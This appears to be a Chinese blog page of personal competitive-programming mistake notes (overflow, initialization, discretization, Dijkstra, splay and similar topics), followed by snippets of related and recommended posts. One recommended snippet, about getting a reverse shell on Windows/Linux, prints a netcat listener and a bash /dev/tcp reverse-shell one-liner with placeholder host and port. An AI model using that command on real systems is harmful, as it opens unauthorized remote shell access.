读题

  • 不要把 \(\sum a \oplus b\) 看成异或和。
  • 注意读完整,有可能对原有符号有新的约定,不要想当然。
  • 注意模数的 0 数清楚。

卡常&时间

  • 打题之前一般先搞个自己的缺省源。快读 x=0,w=1 的初始化不要漏掉。 survive
  • 取模多的注意常数。 Holy Sequence

初始化

  • 初始化如果放到init里面,main要记得调用
  • 初始化不要乱移动位子,人家n还没读进来你循环个毛线 UVA11019 Matrix Matcher
  • 清空的时候想清楚要清空什么,哪些要清。如果对复杂度有影响记得记录改变过的位置。
  • 离散化的时候是 m=unique( tmp+1,tmp+1+2*n )-tmp-1; l[i]=lower_bound( tmp+1,tmp+1+m,l[i] )-tmp; ,不要在前面不 -tmp-1 或者在后面多减一。

Input&Output

  • 用了 ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);之后就和scanf printf无缘了……切记
  • while ( scanf( "%d",&n)==1 && n )==1 不要删掉。uva1519
  • 死循环之前的输出,如果不加换行是没有输出的;别问为啥,问就是缓存。(换行作用相当于清缓存,如果你一直存着后面又恰好死循环当然会积压着没有输出)
  • add(read(),read(),read()) 这个 xyx 说是 UB,先后顺序有问题 ARC108 C

优先级

  • 如果是 define 的话最好加括号(因为优先级)。比如 #define lowbit(x) (x)&(-x)

数据范围&空间&精度

  • 不开 long long 见祖宗。不开 ull 见祖宗。开了不特判见祖宗。——CSP2020
  • 如果要离散化原数组和修改操作,范围要开够。
  • 异或、或出来的东西要开两倍
  • 如果除初始边以外要加边,开数组时要注意
  • 开大数组要记得算空间。方阵
  • 你永远不知道C++什么时候会溢出。所以输出之前最好 (ans+mod)%mod ,保险起见。
  • 看范围的时候要注意负数什么的,DP的时候要不要和自己取 max 想清楚。 Choosing Balls
  • 防止溢出取模一定要勤快 但是什么异或和按位与之类的东西别给我瞎jb乱取模

边界问题

  • for ( int i=21; i; i-- )for ( int i=21; i>=0; i-- ) 竟然是不等价的呢。

重载&排序

  • 重载比较运算符一定tm要记得 return !!!!!!!! 死亡案例·今日降智如下↓

  • STL中,priority_queue 默认是大根堆,set 是小根堆,sort 默认升序。自行重载请重载小于号。

算法

最短路

  • Dijkstra 用超级原点时不能加双向边,否则边权为0会T。普通快乐
  • 搞超级源汇的时候要注意编号一定要设够。

平衡树

  • Splay的next查询操作不能返回val,要返回节点编号,否则kth里调用会错

线段树

  • 不要像个zz一样建完线段树不 pushup

模拟退火

  • SA有多组测试数据的时候不能用CLOCK(后果可想而知)

并查集

  • 合并是 fa[fu]=fv ,不要写错。

排列组合

  • 预处理的时候记得初始化 fac[0]=inv[0]=inv[1]=1

二分

  • 作为一个 zz,REH你记住了,以后只能写 l,r,ans,l<=r版本,不要拿着你的假模板到处 TLE .

做题注意点&其他

  • 有些比较特殊的情况最好一开始就处理好,或者写下来,不然写到后面容易忘记。
  • 前后要统一,不要出现后面改了前面没改的情况。改代码一定要谨慎。
  • 文件头要加好。
  • 不能在有返回值的函数里面不 return ,可能会产生 RE 等奇怪错误
  • 考虑要完整。
  • 有类似的题目做过固然是好的,但是要注意比较数据范围和特殊情况,不要被带偏。有可能一点关系都没有,还想复杂了。

【自用】Notice的更多相关文章

  1. 如约而至:微信自用的移动端IM网络层跨平台组件库Mars已正式开源

    1.前言 关于微信内部正在使用的网络层封装库Mars开源的消息,1个多月前就已满天飞(参见<微信Mars:微信内部正在使用的网络层封装库,即将开源>),不过微信团队没有失约,微信Mars ...

  2. idea快捷键(自用)

    idea快捷键(自用) 1.比如输入eclipse下面的main,sysout等,在idea里面同样可以实现,如下: sysout(sout 按tab),main(psvm按tab),具体可按照ctr ...

  3. linux 下 PHP Notice: session_start(): ps_files_cleanup_dir 报错 问题剖析

    如果在ubuntu/Debian下, 采用apt安装的PHP, 那么在使用Session的时候, 就可能会有小概率遇到这个提示. 代码如下: PHP Notice: session_start(): ...

  4. Postgresql存储过程调试:PostgreSQL 之 Function NOTICE

    转载自http://zhenghaoju700.blog.163.com/blog/static/13585951820116782843994/ 先安装一个PostgreSQL(见补充知识) 比较O ...

  5. [转]PHP如何关闭notice级别的错误提示

    1.在php.ini文件中改动error_reporting改为: error_reporting=E_ALL & ~E_NOTICE 2.如果你不能操作php.ini文件,你可以使用如下方法 ...

  6. 自用debug单元

    将之前的内存查看单元小幅修改,加上文件操作和计时,组成了一个自用debug单元,使用方法如示例. 此单元便捷之处在于直接将#define DEBUG注释掉而无需改动源码,即可取消debug模式. #d ...

  7. Notice: Only variable references should be returned by reference(PHP版本兼容性问题)

    摘自:http://sushener.spaces.live.com/blog/cns!BB54050A5CFAFCDD!435.entry PHP5一个很让人恼火的一点就是BC(向后兼容)不是很理想 ...

  8. php提示 Notice: Use of undefined constant name - assumed

    我们知道php在数组中写变量有二几种方法,我们出现这种提示就是你写成了[name]这种所以会有Notice: Use of undefined constant name - assumed name ...

  9. PHP如何关闭notice级别的错误提示

    1.在php.ini文件中改动error_reporting改为:error_reporting=E_ALL & ~E_NOTICE2.如果你不能操作php.ini文件,你可以使用如下方法在你 ...

随机推荐

  1. sock skbuf 结构:

    /** * struct sock - network layer representation of sockets * @__sk_common: shared layout with inet_ ...

  2. ISO/OSI参考模型

    ISO/OSI参考模型: 1.应用层:提供应用程序间通信.应用层与应用程序界面沟通,以达到展示给用户的目的.常见的协议:HTTP.HTTPS.FTP.TELNET.SSH.SMTP等 2.表示层:处理 ...

  3. Java面试必会-微服务权限认证

    微服务身份认证方案 1. 单点登录(SSO) 这种方案意味着每个面向用户的服务都必须与认证服务交互,这会产生大量非常琐碎的网络流量和重复的工作,当动辄数十个微应用时,这种方案的弊端会更加明显. 2. ...

  4. Linux中Python自动输入sudo 密码

    一.背景和需求 背景: 由于docker服务进程都是以root帐号的身份运行的,所以用docker跑abpred出来的文件所有者都是root, 而我作为一般用户,操作这个文件不够权限,运行代码时需要s ...

  5. Vue + ElementUI 后台管理模板推荐

    最近学习和项目都用到了Vue和ElementUI,自己不是专业前端,搞这些UI上的东西还是有些难度,这里推荐两个Vue + ElementUI后台管理模板 vue-element-admin vue- ...

  6. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  7. [i春秋]“百度杯”CTF比赛 十月场-Hash

    前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...

  8. 怎么给Folx添加需要储存的网站密码

    Folx内置密码管理功能,可以帮助用户储存特定网站的密码,实现更加快速的登陆下载操作.在Folx的免费版本中,用户最多可以存储2个密码:而Folx专业版则不限制用户存储密码的数量. Folx通过两种方 ...

  9. CorelDRAW中如何精确移动对象

    图形的变换操作包括改变图形的位置.大小.比例,旋转图形.镜像图形和倾斜图形,是在绘图编辑时经常使用的操作.使用"选择工具"选择对象之后,在对象上按下鼠标左键并拖动,即可任意移动对象 ...

  10. Mac中的格式转换如何用读写工具Tuxera NTFS完成

    Tuxera NTFS for Mac是一款专门为Mac用户提供的NTFS驱动软件,它不仅可以进行磁盘文件的访问.编辑.传输和存储,还可以对硬盘进行维修检查以及修复. 今天小编就给大家简单介绍一下Tu ...